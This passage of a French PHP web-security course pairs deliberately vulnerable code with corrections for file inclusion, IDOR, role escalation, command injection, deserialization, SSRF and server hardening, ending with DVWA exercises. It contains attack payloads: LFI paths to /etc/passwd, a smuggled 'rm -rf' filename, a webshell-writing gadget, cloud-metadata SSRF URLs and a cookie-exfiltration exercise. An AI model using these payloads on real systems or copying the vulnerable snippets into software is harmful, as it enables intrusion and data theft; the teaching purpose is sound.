        // 7.  Déplacer vers le dossier sécurisé (hors public/)
        $destination = self::DOSSIER_UPLOAD . $nomSecurise;
        if (!move_uploaded_file($fichier['tmp_name'], $destination)) {
            throw new RuntimeException("Impossible de déplacer le fichier.");
        }

        return $nomSecurise;
    }
}
<?php
//  Servir les fichiers uploadés via un script PHP (jamais directement)
// serve_image.php?f=abc123.jpg

$nom = basename($_GET['f'] ?? ''); //  basename() supprime les path traversal (../)

//  Valider le format du nom
if (!preg_match('/^[a-f0-9]{32}\.(jpg|png|gif|webp)$/', $nom)) {
    http_response_code(400);
    exit('Fichier invalide.');
}

$chemin = __DIR__ . '/../storage/uploads/' . $nom;

if (!file_exists($chemin)) {
    http_response_code(404);
    exit('Fichier non trouvé.');
}

//  Envoyer avec les bons en-têtes
$finfo = new finfo(FILEINFO_MIME_TYPE);
header('Content-Type: ' . $finfo->file($chemin));
header('Content-Length: ' . filesize($chemin));
header('X-Content-Type-Options: nosniff'); //  Empêche le sniffing de type
readfile($chemin);

7.4. Configuration Apache/Nginx complémentaire

# .htaccess dans le dossier uploads/ (sécurité supplémentaire)
#  Interdire l'exécution de scripts dans le dossier uploads
<FilesMatch "\.(php|phtml|php3|php4|php5|php7|phar|cgi|pl|py|rb)$">
    Require all denied
</FilesMatch>

#  Forcer le Content-Type pour éviter le sniffing
<FilesMatch "\.(jpg|jpeg|png|gif|webp)$">
    Header set X-Content-Type-Options nosniff
</FilesMatch>

Options -ExecCGI
AddHandler cgi-script .php .phtml .phar

8. Inclusion de fichiers — LFI / RFI

8.1. Principe de la faille

8.2. Démonstration — LFI

<?php
// CODE VULNÉRABLE — Inclusion dynamique sans validation
$page = $_GET['page'] ?? 'accueil';
include $page . '.php'; // Injection triviale

Payloads d’attaque :

# Lire le fichier de configuration
/page.php?page=../../../etc/passwd

# Lire un fichier PHP encodé en Base64 via le wrapper PHP
/page.php?page=php://filter/convert.base64-encode/resource=../config/db

# Exécuter du code via les logs empoisonnés
# (si l'attaquant a pu injecter du PHP dans les logs Apache)
/page.php?page=../../../var/log/apache2/access.log

8.3. Correction — Whitelist d’inclusion

<?php
// CORRECTION — Whitelist stricte des pages autorisées

const PAGES_AUTORISEES = [
    'accueil'  => 'pages/accueil.php',
    'contact'  => 'pages/contact.php',
    'a-propos' => 'pages/a-propos.php',
    'catalogue' => 'pages/catalogue.php',
];

$pageDemandee = $_GET['page'] ?? 'accueil';

//  Vérification stricte dans la whitelist
if (!array_key_exists($pageDemandee, PAGES_AUTORISEES)) {
    http_response_code(404);
    include 'pages/404.php';
    exit;
}

//  On utilise le chemin défini par le développeur, jamais l'entrée utilisateur
include PAGES_AUTORISEES[$pageDemandee];
<?php
//  Pour les chemins dynamiques : vérifier le chemin réel avec realpath()

function inclureTemplate(string $nom): void
{
    $baseDir  = realpath(__DIR__ . '/templates');
    $chemin   = realpath($baseDir . '/' . basename($nom) . '.php');

    // S'assurer que le fichier résolu est bien dans le dossier templates/
    if ($chemin === false || !str_starts_with($chemin, $baseDir)) {
        throw new InvalidArgumentException("Tentative de path traversal détectée.");
    }

    if (!file_exists($chemin)) {
        throw new RuntimeException("Template introuvable.");
    }

    include $chemin;
}

9. En-têtes HTTP et configuration serveur

9.1. Les en-têtes de sécurité essentiels

Les en-têtes HTTP de sécurité informent le navigateur sur le comportement attendu et réduisent la surface d’attaque. Voici les plus importants.

<?php
//  Centralisez ces en-têtes dans un fichier inclus sur chaque page
// ou dans votre front controller (index.php)

function appliquerEntetesSécurité(): void
{
    //  Force HTTPS pour les prochaines visites (1 an)
    header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload");

    //  Empêche le navigateur de "deviner" le type MIME
    header("X-Content-Type-Options: nosniff");

    //  Contrôle l'affichage dans des iframes (prévention clickjacking)
    header("X-Frame-Options: DENY");

    //  Active la protection XSS du navigateur (navigateurs anciens)
    header("X-XSS-Protection: 1; mode=block");

    //  Contrôle les informations de référent envoyées
    header("Referrer-Policy: strict-origin-when-cross-origin");

    //  Contrôle les fonctionnalités du navigateur (caméra, micro, géoloc…)
    header("Permissions-Policy: camera=(), microphone=(), geolocation=()");

    //  Content Security Policy (personnalisez selon vos besoins)
    header("Content-Security-Policy: " .
        "default-src 'self'; " .
        "script-src 'self' https://cdn.jsdelivr.net; " .
        "style-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; " .
        "img-src 'self' data: https:; " .
        "frame-ancestors 'none'; " .
        "base-uri 'self'; " .
        "form-action 'self';"
    );

    //  Supprimer les en-têtes qui révèlent la technologie utilisée
    header_remove("X-Powered-By"); // PHP/8.2.x
    header_remove("Server");       // Apache/2.4.x ou Nginx/1.x
}

appliquerEntetesSécurité();

Testez vos en-têtes sur https://securityheaders.com. L’objectif est d’obtenir la note A+.

9.2. Configuration php.ini pour la production

; php.ini — Configuration sécurisée pour la production

; Masquer les informations sur PHP
expose_php = Off

; Désactiver les fonctions dangereuses
disable_functions = exec, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source

; Limiter les chemins d'accès aux fichiers
; open_basedir = /var/www/html:/tmp

; Désactiver l'affichage des erreurs en production
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php/errors.log

; Limiter la taille des uploads
upload_max_filesize = 5M
post_max_size = 6M
max_file_uploads = 5

; Session security
session.cookie_httponly = On
session.cookie_secure = On
session.use_strict_mode = On
session.cookie_samesite = Strict
session.gc_maxlifetime = 1800
session.use_only_cookies = On

; Désactiver les URL session (PHPSESSID dans l'URL)
session.use_trans_sid = 0

; Désactiver allow_url_include (empêche RFI)
allow_url_include = Off
# .htaccess — Configuration Apache sécurisée

# Masquer les informations serveur
ServerTokens Prod
ServerSignature Off

# Désactiver le listing des répertoires
Options -Indexes

# Interdire l'accès aux fichiers sensibles
<FilesMatch "\.(env|sql|log|conf|ini|bak|old|swap|htpasswd)$">
    Require all denied
</FilesMatch>

# Forcer HTTPS
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

# Protéger les fichiers cachés (.git, .env, etc.)
<FilesMatch "^\.">
    Require all denied
</FilesMatch>

9.3. Clickjacking

Le clickjacking consiste à superposer une page légitime dans une iframe transparente et à tromper l’utilisateur pour qu’il clique sur des éléments cachés.

<?php
// Prévention du clickjacking via en-têtes
header("X-Frame-Options: DENY");
// OU via CSP (plus moderne) :
header("Content-Security-Policy: frame-ancestors 'none';");

10. Exposition de données sensibles

10.1. Les données sensibles dans le code source

<?php
//  FAILLES CRITIQUES — Données en dur dans le code

$pdo = new PDO('mysql:host=localhost;dbname=prod', 'root', 'MotDePasseAdmin123!');
//  Le mot de passe BDD est visible dans le code → dans Git → divulgation

define('API_KEY', 'sk-prod-xyz123456789abcdef');
//  Clé API en dur → volée si le dépôt Git est public

$mailConfig = [
    'smtp_password' => 'PasswordSMTP!',
];
//  Idem

10.2. Correction — Variables d’environnement

# .env — Fichier de configuration (jamais commité)
DB_HOST=localhost
DB_NAME=bibliotech
DB_USER=app_user
DB_PASS=MotDePasseComplexe!2024
API_KEY=sk-prod-xyz123456789abcdef
MAIL_PASS=PasswordSMTP!
APP_ENV=production
# .gitignore — S'assurer que .env n'est JAMAIS commité
.env
.env.local
*.env
config/secrets/
<?php
// Charger les variables d'environnement depuis .env
// (ou directement depuis les variables d'environnement système en production)

function chargerEnv(string $fichier): void
{
    if (!file_exists($fichier)) return;

    foreach (file($fichier, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) as $ligne) {
        if (str_starts_with(trim($ligne), '#')) continue; // Ignorer les commentaires

        [$cle, $valeur] = explode('=', $ligne, 2);
        $cle   = trim($cle);
        $valeur = trim($valeur, " \t\n\r\0\x0B\"'");

        if (!array_key_exists($cle, $_ENV)) {
            putenv("$cle=$valeur");
            $_ENV[$cle] = $valeur;
        }
    }
}

chargerEnv(__DIR__ . '/../.env');

$pdo = new PDO(
    'mysql:host=' . $_ENV['DB_HOST'] . ';dbname=' . $_ENV['DB_NAME'] . ';charset=utf8mb4',
    $_ENV['DB_USER'],
    $_ENV['DB_PASS'],
    [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
);

10.3. Exposition d’erreurs en production

<?php
// En développement, PHP affiche les erreurs complètes
// Warning: PDOException: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost'
// Cela révèle : le SGBD, l'utilisateur BDD, le type d'erreur → aide l'attaquant

// En production : masquer les erreurs
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php/app_errors.log');

// Gestionnaire d'erreurs centralisé
set_exception_handler(function (Throwable $e) {
    // Journaliser l'erreur complète en interne
    error_log(sprintf(
        "[%s] %s dans %s ligne %d\nStack trace:\n%s",
        date('Y-m-d H:i:s'),
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString()
    ));

    // Afficher un message générique à l'utilisateur
    http_response_code(500);
    include 'pages/erreur_generique.php';
    exit;
});

10.4. Données sensibles dans les logs

<?php
//  Journalisation de données sensibles
error_log("Tentative de connexion: email=$email, password=$password");
//  Le mot de passe apparaît dans les logs

//  Ne jamais journaliser les mots de passe, tokens, numéros de CB
error_log("Tentative de connexion: email=$email");

//  Masquer partiellement les données sensibles si nécessaire
function masquerEmail(string $email): string
{
    [$local, $domain] = explode('@', $email);
    $local = substr($local, 0, 2) . str_repeat('*', strlen($local) - 2);
    return $local . '@' . $domain;
}
error_log("Connexion réussie pour : " . masquerEmail($email));
// Résultat : "Connexion réussie pour : jo***@example.com"

11. Contrôle d’accès et élévation de privilèges

11.1. Broken Access Control — Première faille OWASP 2021

L’élévation de privilèges survient quand un utilisateur peut accéder à des ressources ou actions qui ne lui sont pas autorisées.

11.2. Démonstration — IDOR (Insecure Direct Object Reference)

<?php
//  CODE VULNÉRABLE — Accès direct à une ressource par son ID
// URL : /facture.php?id=1254
session_start();

$id = $_GET['id'] ?? 0;

$stmt = $pdo->prepare("SELECT * FROM factures WHERE id = ?");
$stmt->execute([$id]);
$facture = $stmt->fetch();

if ($facture) {
    //  Aucune vérification que cette facture appartient à l'utilisateur connecté
    afficherFacture($facture);
}

En changeant simplement id=1254 en id=1255 dans l’URL, un attaquant peut accéder aux factures de n’importe quel autre client.

11.3. Correction — Vérification d’appartenance

<?php
//  CORRECTION — Vérification systématique de l'appartenance
session_start();
verifierSession(); // L'utilisateur doit être connecté

$id        = (int) ($_GET['id'] ?? 0);
$userId    = $_SESSION['user_id'];

$stmt = $pdo->prepare(
    "SELECT * FROM factures WHERE id = ? AND user_id = ?"
    //                                     ^^^^^^^^^^^ Jointure sur l'utilisateur connecté
);
$stmt->execute([$id, $userId]);
$facture = $stmt->fetch();

if (!$facture) {
    //  Message générique : ne pas indiquer si la facture existe mais appartient à quelqu'un d'autre
    http_response_code(404);
    include 'pages/404.php';
    exit;
}

afficherFacture($facture);

11.4. Démonstration — Escalade de rôle

<?php
//  CODE VULNÉRABLE — Paramètre de rôle dans un formulaire caché
// Lors de l'inscription, un champ caché détermine le rôle
?>
<form method="POST" action="inscription.php">
    <input type="text" name="nom" required>
    <input type="email" name="email" required>
    <input type="password" name="password" required>
    <!--  Un attaquant peut modifier ce champ via les DevTools -->
    <input type="hidden" name="role" value="user">
    <button type="submit">S'inscrire</button>
</form>
<?php
//  Côté serveur : on fait confiance au champ hidden
$role = $_POST['role'] ?? 'user'; // ❌ Modifiable par l'attaquant → role=admin
$stmt = $pdo->prepare("INSERT INTO users (nom, email, password_hash, role) VALUES (?, ?, ?, ?)");
$stmt->execute([$nom, $email, $hash, $role]); // ❌ Peut créer un compte admin !
<?php
//  CORRECTION — Le rôle ne vient JAMAIS du client
$nom      = trim($_POST['nom'] ?? '');
$email    = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$password = $_POST['password'] ?? '';

//  Le rôle est défini par le serveur, jamais par le formulaire
$role = 'user'; // Valeur par défaut fixée côté serveur

$stmt = $pdo->prepare("INSERT INTO users (nom, email, password_hash, role) VALUES (?, ?, ?, ?)");
$stmt->execute([$nom, $email, password_hash($password, PASSWORD_ARGON2ID), $role]);

11.5. Middleware d’autorisation

<?php
//  Système centralisé de vérification des rôles

class Autorisation
{
    public static function exiger(string ...$roles): void
    {
        session_start();

        if (!isset($_SESSION['user_id'])) {
            header('Location: /login.php?redirect=' . urlencode($_SERVER['REQUEST_URI']));
            exit;
        }

        $roleUtilisateur = $_SESSION['user_role'] ?? 'user';

        if (!in_array($roleUtilisateur, $roles)) {
            http_response_code(403);
            include 'pages/403.php';
            exit;
        }
    }
}

//  Utilisation en début de chaque page protégée
Autorisation::exiger('admin');          // Seul l'admin peut accéder
Autorisation::exiger('admin', 'editeur'); // Admin ou éditeur
Autorisation::exiger('user', 'admin', 'editeur'); // Tout utilisateur connecté

12. Validation et désérialisation des données

12.1. Ne jamais faire confiance aux entrées

Toute donnée externe est potentiellement malveillante. Cela inclut :

12.2. Validation complète des entrées

<?php
//  Validation robuste des entrées avec filter_var

class Validateur
{
    private array $erreurs = [];

    public function texte(string $champ, string $valeur, int $min = 1, int $max = 255): string
    {
        $valeur = trim($valeur);
        $valeur = strip_tags($valeur); // Supprimer les balises HTML

        if (strlen($valeur) < $min) {
            $this->erreurs[$champ] = "Minimum $min caractères requis.";
        } elseif (strlen($valeur) > $max) {
            $this->erreurs[$champ] = "Maximum $max caractères autorisés.";
        }
        return $valeur;
    }

    public function email(string $champ, string $valeur): string
    {
        $valeur = filter_var(trim($valeur), FILTER_SANITIZE_EMAIL);
        if (!filter_var($valeur, FILTER_VALIDATE_EMAIL)) {
            $this->erreurs[$champ] = "Adresse email invalide.";
        }
        return $valeur;
    }

    public function entier(string $champ, mixed $valeur, int $min = 0, int $max = PHP_INT_MAX): int
    {
        $valeur = filter_var($valeur, FILTER_VALIDATE_INT, [
            'options' => ['min_range' => $min, 'max_range' => $max]
        ]);
        if ($valeur === false) {
            $this->erreurs[$champ] = "Entier entre $min et $max requis.";
            return 0;
        }
        return (int) $valeur;
    }

    public function url(string $champ, string $valeur): string
    {
        $valeur = filter_var(trim($valeur), FILTER_VALIDATE_URL);
        if (!$valeur) {
            $this->erreurs[$champ] = "URL invalide.";
            return '';
        }
        //  Restreindre aux protocoles autorisés
        if (!in_array(parse_url($valeur, PHP_URL_SCHEME), ['http', 'https'])) {
            $this->erreurs[$champ] = "Protocole non autorisé.";
            return '';
        }
        return $valeur;
    }

    public function aDesErreurs(): bool { return !empty($this->erreurs); }
    public function obtenirErreurs(): array { return $this->erreurs; }
}

12.3. Injection de commandes OS

<?php
//  CODE VULNÉRABLE — Injection de commandes
$fichier = $_POST['fichier'];
$output  = shell_exec("convert uploads/$fichier resized/$fichier");
// Payload : fichier=test.jpg; rm -rf /var/www/html/
// Commande exécutée : convert uploads/test.jpg; rm -rf /var/www/html/

//  CORRECTION — Utiliser escapeshellarg()
$fichier = basename($_POST['fichier'] ?? '');

//  Valider le format du nom de fichier
if (!preg_match('/^[a-zA-Z0-9_-]+\.(jpg|png|gif)$/', $fichier)) {
    die("Nom de fichier invalide.");
}

//  Échapper les arguments de commandes shell
$cmd = sprintf(
    'convert %s %s',
    escapeshellarg('uploads/' . $fichier),
    escapeshellarg('resized/' . $fichier)
);
exec($cmd, $output, $returnCode);

12.4. Désérialisation non sécurisée

<?php
//  CODE VULNÉRABLE — Désérialisation d'entrées non fiables
$donnees = unserialize($_COOKIE['preferences']); //  DANGEREUX

// La désérialisation de données non fiables peut déclencher
// l'exécution de code via des "gadget chains" (PHP Object Injection)

// Classe présente dans le code avec __wakeup() ou __destruct() exploitable
class FileLogger {
    public string $fichier = '/dev/null';
    public string $contenu = '';

    public function __destruct() {
        file_put_contents($this->fichier, $this->contenu);
    }
}

// L'attaquant forge un cookie sérialisé qui crée un FileLogger
// avec fichier=/var/www/html/shell.php et contenu=<?php system($_GET['c']); ?>
// Lors de la désérialisation → __destruct() → création d'un webshell !

//  CORRECTION — Utiliser JSON pour les données utilisateur
$donnees = json_decode($_COOKIE['preferences'] ?? '{}', true);
// JSON ne peut pas instancier des objets → pas d'exécution de code

//  Si unserialize() est indispensable, utiliser allowed_classes
$donnees = unserialize($donneesFiables, ['allowed_classes' => ['Preferences']]);

12.5. SSRF — Server-Side Request Forgery

<?php
//  CODE VULNÉRABLE — SSRF
// L'application récupère une URL fournie par l'utilisateur
$url = $_POST['url'] ?? '';
$contenu = file_get_contents($url); // L'attaquant peut forger des requêtes internes
// Payload : url=http://169.254.169.254/latest/meta-data/ (métadonnées AWS)
// Payload : url=http://localhost:3306/ (scanner le réseau interne)
// Payload : url=file:///etc/passwd (lire des fichiers locaux)

//  CORRECTION — Validation stricte de l'URL
function validerUrlExterne(string $url): bool
{
    if (!filter_var($url, FILTER_VALIDATE_URL)) return false;

    $scheme = parse_url($url, PHP_URL_SCHEME);
    if (!in_array($scheme, ['http', 'https'])) return false;

    $host = parse_url($url, PHP_URL_HOST);

    //  Bloquer les adresses locales et privées
    $ip = gethostbyname($host);
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        return false; // Bloque 127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.x.x, etc.
    }

    return true;
}

13. Projet fil rouge — Application sécurisée de A à Z

13.1. Architecture du projet

Nous allons construire une mini-application de formulaire de contact sécurisé qui illustre toutes les bonnes pratiques vues dans ce cours. Elle comprend :

13.2. Structure du projet

projet-securise/
├── public/
│   ├── index.php           ← Front controller (point d'entrée unique)
│   ├── .htaccess           ← Configuration Apache sécurisée
│   └── assets/
│       ├── css/style.css
│       └── js/validation.js
├── src/
│   ├── Auth.php            ← Authentification et sessions
│   ├── Database.php        ← Connexion PDO sécurisée
│   ├── Csrf.php            ← Gestion des tokens CSRF
│   ├── Validator.php       ← Validation des entrées
│   └── Security.php        ← En-têtes et helpers de sécurité
├── templates/
│   ├── base.php            ← Layout de base
│   ├── contact.php         ← Formulaire de contact
│   ├── admin/
│   │   ├── login.php
│   │   └── messages.php
│   └── errors/
│       ├── 403.php
│       ├── 404.php
│       └── 500.php
├── storage/
│   ├── logs/               ← Journaux applicatifs
│   └── uploads/            ← Fichiers uploadés (hors public/)
├── .env                    ← Variables d'environnement (non commité)
├── .env.example            ← Template .env (commité)
└── .gitignore

13.3. Front controller — public/index.php

<?php
declare(strict_types=1);

// Charger les variables d'environnement
require_once __DIR__ . '/../src/env.php';
chargerEnv(__DIR__ . '/../.env');

// Appliquer les en-têtes de sécurité immédiatement
require_once __DIR__ . '/../src/Security.php';
Security::appliquerEntetes();

// Configuration de la session sécurisée
Security::configurerSession();
session_start();

// Routage simple
$path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$path = rtrim($path, '/') ?: '/';

$routes = [
    '/'             => 'contact',
    '/merci'        => 'merci',
    '/admin/login'  => 'admin/login',
    '/admin/messages' => 'admin/messages',
    '/admin/logout' => 'admin/logout',
];

if (!array_key_exists($path, $routes)) {
    http_response_code(404);
    include __DIR__ . '/../templates/errors/404.php';
    exit;
}

$template = $routes[$path];
include __DIR__ . '/../templates/' . $template . '.php';

13.4. Classe Security

<?php
// src/Security.php
declare(strict_types=1);

class Security
{
    public static function appliquerEntetes(): void
    {
        header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
        header("X-Content-Type-Options: nosniff");
        header("X-Frame-Options: DENY");
        header("X-XSS-Protection: 1; mode=block");
        header("Referrer-Policy: strict-origin-when-cross-origin");
        header("Permissions-Policy: camera=(), microphone=(), geolocation=()");
        header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none'; form-action 'self';");
        header_remove("X-Powered-By");
    }

    public static function configurerSession(): void
    {
        ini_set('session.use_strict_mode', '1');
        ini_set('session.use_only_cookies', '1');
        ini_set('session.cookie_httponly', '1');
        ini_set('session.cookie_secure', isset($_SERVER['HTTPS']) ? '1' : '0');
        ini_set('session.cookie_samesite', 'Strict');
        ini_set('session.gc_maxlifetime', '1800');
        session_name('SESSID_' . substr(md5($_SERVER['HTTP_HOST'] ?? 'localhost'), 0, 8));
    }

    public static function e(string $valeur): string
    {
        return htmlspecialchars($valeur, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    }

    public static function journaliser(string $niveau, string $message, array $contexte = []): void
    {
        $logDir  = __DIR__ . '/../storage/logs/';
        if (!is_dir($logDir)) mkdir($logDir, 0750, true);

        $ligne = sprintf(
            "[%s] [%s] [IP:%s] %s %s\n",
            date('Y-m-d H:i:s'),
            strtoupper($niveau),
            $_SERVER['REMOTE_ADDR'] ?? 'CLI',
            $message,
            $contexte ? json_encode($contexte) : ''
        );

        // Journaliser dans un fichier rotatif journalier
        $fichierLog = $logDir . date('Y-m-d') . '_app.log';
        file_put_contents($fichierLog, $ligne, FILE_APPEND | LOCK_EX);
    }
}

13.5. Formulaire de contact sécurisé (template)

<?php
// templates/contact.php
require_once __DIR__ . '/../src/Database.php';
require_once __DIR__ . '/../src/Csrf.php';
require_once __DIR__ . '/../src/Validator.php';

$erreurs  = [];
$succes   = false;
$anciennes = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 1. Vérifier le token CSRF
    $tokenRecu = $_POST['csrf_token'] ?? '';
    if (!Csrf::verifier($tokenRecu)) {
        http_response_code(403);
        Security::journaliser('warning', 'Token CSRF invalide', ['ip' => $_SERVER['REMOTE_ADDR']]);
        die('Requête invalide.');
    }

    // 2. Valider les entrées
    $v    = new Validateur();
    $nom  = $v->texte('nom', $_POST['nom'] ?? '', 2, 100);
    $email= $v->email('email', $_POST['email'] ?? '');
    $sujet= $v->texte('sujet', $_POST['sujet'] ?? '', 5, 200);
    $msg  = $v->texte('message', $_POST['message'] ?? '', 10, 2000);

    // 3. Honeypot anti-spam
    if (!empty($_POST['website'])) {
        // Champ invisible rempli par un bot → ignorer silencieusement
        Security::journaliser('info', 'Honeypot déclenché');
        $succes = true; // Simuler un succès pour ne pas alerter le bot
    } elseif ($v->aDesErreurs()) {
        $erreurs  = $v->obtenirErreurs();
        $anciennes = $_POST;
    } else {
        // 4. Stocker en BDD avec requête préparée
        $pdo  = Database::connexion();
        $stmt = $pdo->prepare(
            "INSERT INTO contacts (nom, email, sujet, message, ip_source, created_at)
             VALUES (?, ?, ?, ?, ?, NOW())"
        );
        $stmt->execute([$nom, $email, $sujet, $msg, $_SERVER['REMOTE_ADDR']]);

        Security::journaliser('info', 'Nouveau contact', ['email' => Security::masquerEmail($email)]);
        $succes = true;
    }
}

$csrfToken = Csrf::generer();
include __DIR__ . '/base.php'; // Layout de base avec en-têtes HTML
?>

<?php if ($succes): ?>
<div class="alert alert-success">
    Votre message a bien été envoyé. Nous vous répondrons dans les plus brefs délais.
</div>
<?php else: ?>

<div class="card shadow-sm">
    <div class="card-header bg-primary text-white"><h2 class="mb-0">📬 Nous contacter</h2></div>
    <div class="card-body p-4">
        <form method="POST" action="/" novalidate>
            <!-- Token CSRF caché -->
            <input type="hidden" name="csrf_token" value="<?= Security::e($csrfToken) ?>">

            <!-- Honeypot : champ invisible pour les bots -->
            <div style="display:none" aria-hidden="true">
                <input type="text" name="website" tabindex="-1" autocomplete="off">
            </div>

            <div class="mb-3">
                <label for="nom" class="form-label">Nom <span class="text-danger">*</span></label>
                <input type="text" id="nom" name="nom" class="form-control <?= isset($erreurs['nom']) ? 'is-invalid' : '' ?>"
                       value="<?= Security::e($anciennes['nom'] ?? '') ?>"
                       minlength="2" maxlength="100" required autocomplete="name">
                <?php if (isset($erreurs['nom'])): ?>
                    <div class="invalid-feedback"><?= Security::e($erreurs['nom']) ?></div>
                <?php endif; ?>
            </div>

            <div class="mb-3">
                <label for="email" class="form-label">Email <span class="text-danger">*</span></label>
                <input type="email" id="email" name="email" class="form-control <?= isset($erreurs['email']) ? 'is-invalid' : '' ?>"
                       value="<?= Security::e($anciennes['email'] ?? '') ?>"
                       maxlength="254" required autocomplete="email">
                <?php if (isset($erreurs['email'])): ?>
                    <div class="invalid-feedback"><?= Security::e($erreurs['email']) ?></div>
                <?php endif; ?>
            </div>

            <div class="mb-3">
                <label for="sujet" class="form-label">Sujet <span class="text-danger">*</span></label>
                <input type="text" id="sujet" name="sujet" class="form-control <?= isset($erreurs['sujet']) ? 'is-invalid' : '' ?>"
                       value="<?= Security::e($anciennes['sujet'] ?? '') ?>"
                       minlength="5" maxlength="200" required>
                <?php if (isset($erreurs['sujet'])): ?>
                    <div class="invalid-feedback"><?= Security::e($erreurs['sujet']) ?></div>
                <?php endif; ?>
            </div>

            <div class="mb-3">
                <label for="message" class="form-label">Message <span class="text-danger">*</span></label>
                <textarea id="message" name="message" class="form-control <?= isset($erreurs['message']) ? 'is-invalid' : '' ?>"
                          rows="5" minlength="10" maxlength="2000" required><?= Security::e($anciennes['message'] ?? '') ?></textarea>
                <?php if (isset($erreurs['message'])): ?>
                    <div class="invalid-feedback"><?= Security::e($erreurs['message']) ?></div>
                <?php endif; ?>
            </div>

            <button type="submit" class="btn btn-primary">Envoyer le message</button>
        </form>
    </div>
</div>
<?php endif; ?>

13.6. Administration sécurisée

<?php
// templates/admin/messages.php
require_once __DIR__ . '/../../src/Auth.php';

// Page accessible uniquement aux administrateurs
Auth::exigerRole('admin');

$pdo      = Database::connexion();
$messages = $pdo->query("SELECT * FROM contacts ORDER BY created_at DESC LIMIT 50")->fetchAll();
?>

<h1>Messages reçus</h1>
<table class="table table-striped">
    <thead><tr><th>Date</th><th>Nom</th><th>Email</th><th>Sujet</th><th>IP</th></tr></thead>
    <tbody>
    <?php foreach ($messages as $m): ?>
    <tr>
        <!-- Échappement systématique à l'affichage -->
        <td><?= Security::e($m['created_at']) ?></td>
        <td><?= Security::e($m['nom']) ?></td>
        <td><?= Security::e($m['email']) ?></td>
        <td><?= Security::e($m['sujet']) ?></td>
        <td><?= Security::e($m['ip_source']) ?></td>
    </tr>
    <?php endforeach; ?>
    </tbody>
</table>

14. Exercices et CTF pédagogiques

14.1. Exercices guidés

Exercice 1 — Injection SQL

Installez DVWA (Damn Vulnerable Web Application) en local :

# Via Docker
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Accessible sur http://localhost/login.php
# admin / password
  1. Dans la section “SQL Injection”, niveau Low, tentez un bypass d’authentification.
  2. Utilisez une UNION SELECT pour extraire les emails de la table users.
  3. Passez au niveau Medium : analysez pourquoi les payloads précédents ne fonctionnent plus.
  4. Corrigez le code source vulnérable en utilisant des requêtes préparées.

Exercice 2 — XSS

  1. Dans DVWA, section “XSS Reflected”, injectez un script qui affiche document.cookie.
  2. Dans la section “XSS Stored”, injectez un script qui envoie les cookies vers un endpoint de capture (utilisez https://webhook.site).
  3. Corrigez en appliquant htmlspecialchars() au bon endroit.

Exercice 3 — Sécurisation d’un formulaire d’inscription

Partez de ce code vulnérable et sécurisez-le complètement :

<?php
// Code de départ (à corriger)
$nom      = $_POST['nom'];
$email    = $_POST['email'];
$password = $_POST['password'];
$role     = $_POST['role'];

$pdo = new PDO('mysql:host=localhost;dbname=test', 'root', '');
$sql = "INSERT INTO users (nom, email, password, role)
        VALUES ('$nom', '$email', '$password', '$role')";
$pdo->exec($sql);
echo "Bienvenue $nom";

Vous devez ajouter : requêtes préparées, hachage du mot de passe, validation des entrées, protection CSRF, rôle fixé côté serveur, en-têtes de sécurité.

14.2. Exercices d’approfondissement

Exercice 4 — Audit de sécurité

Auditez l’application BiblioTech créée dans le cours Symfony précédent. Pour chaque faille potentielle identifiée dans ce cours, documentez :

Exercice 5 — Rapport de test d’intrusion

En binôme : l’un développe une petite application PHP volontairement vulnérable, l’autre tente de l’attaquer (en environnement local uniquement) et rédige un rapport de pentest avec :

Exercice 6 — Implémenter l’authentification à deux facteurs (2FA)

Ajoutez une authentification TOTP (Time-based One-Time Password) à l’application fil rouge :

composer require spomky-labs/otphp
  1. Générer un secret TOTP par utilisateur lors de l’inscription.
  2. Afficher un QR code à scanner avec Google Authenticator.
  3. Vérifier le code TOTP à chaque connexion.

Annexe — Checklist de sécurité et outils

Checklist — À vérifier avant chaque mise en production

Injection et validation

XSS

CSRF

Authentification et sessions

Fichiers

Configuration

Contrôle d’accès

Outils recommandés

Outil Type Utilisation
Burp Suite Community Proxy HTTP Intercepter et modifier les requêtes
OWASP ZAP Scanner Scan automatique de vulnérabilités
SQLMap Automatisation Détection et exploitation SQLi (tests)
Nikto Scanner Audit de configuration serveur
securityheaders.com En ligne Vérifier les en-têtes HTTP
haveibeenpwned.com En ligne Vérifier si des identifiants sont compromis
DVWA Lab Environnement d’entraînement volontairement vulnérable
WebGoat Lab Cours interactif de sécurité web (OWASP)
HackTheBox CTF Challenges de sécurité en ligne
TryHackMe CTF Parcours guidés de sécurité

Personnellement, j’utilise beaucoup OWASP ZAP.

Ressources & références

Ressource URL
OWASP Top 10 https://owasp.org/www-project-top-ten/
OWASP Cheat Sheet Series https://cheatsheetseries.owasp.org/
PHP Security Manual https://www.php.net/manual/fr/security.php
ANSSI — Guides de sécurité https://www.ssi.gouv.fr/guide/
CVE Details (vulnérabilités) https://www.cvedetails.com/
Have I Been Pwned https://haveibeenpwned.com/
RGPD — CNIL https://www.cnil.fr/fr/rgpd-de-quoi-parle-t-on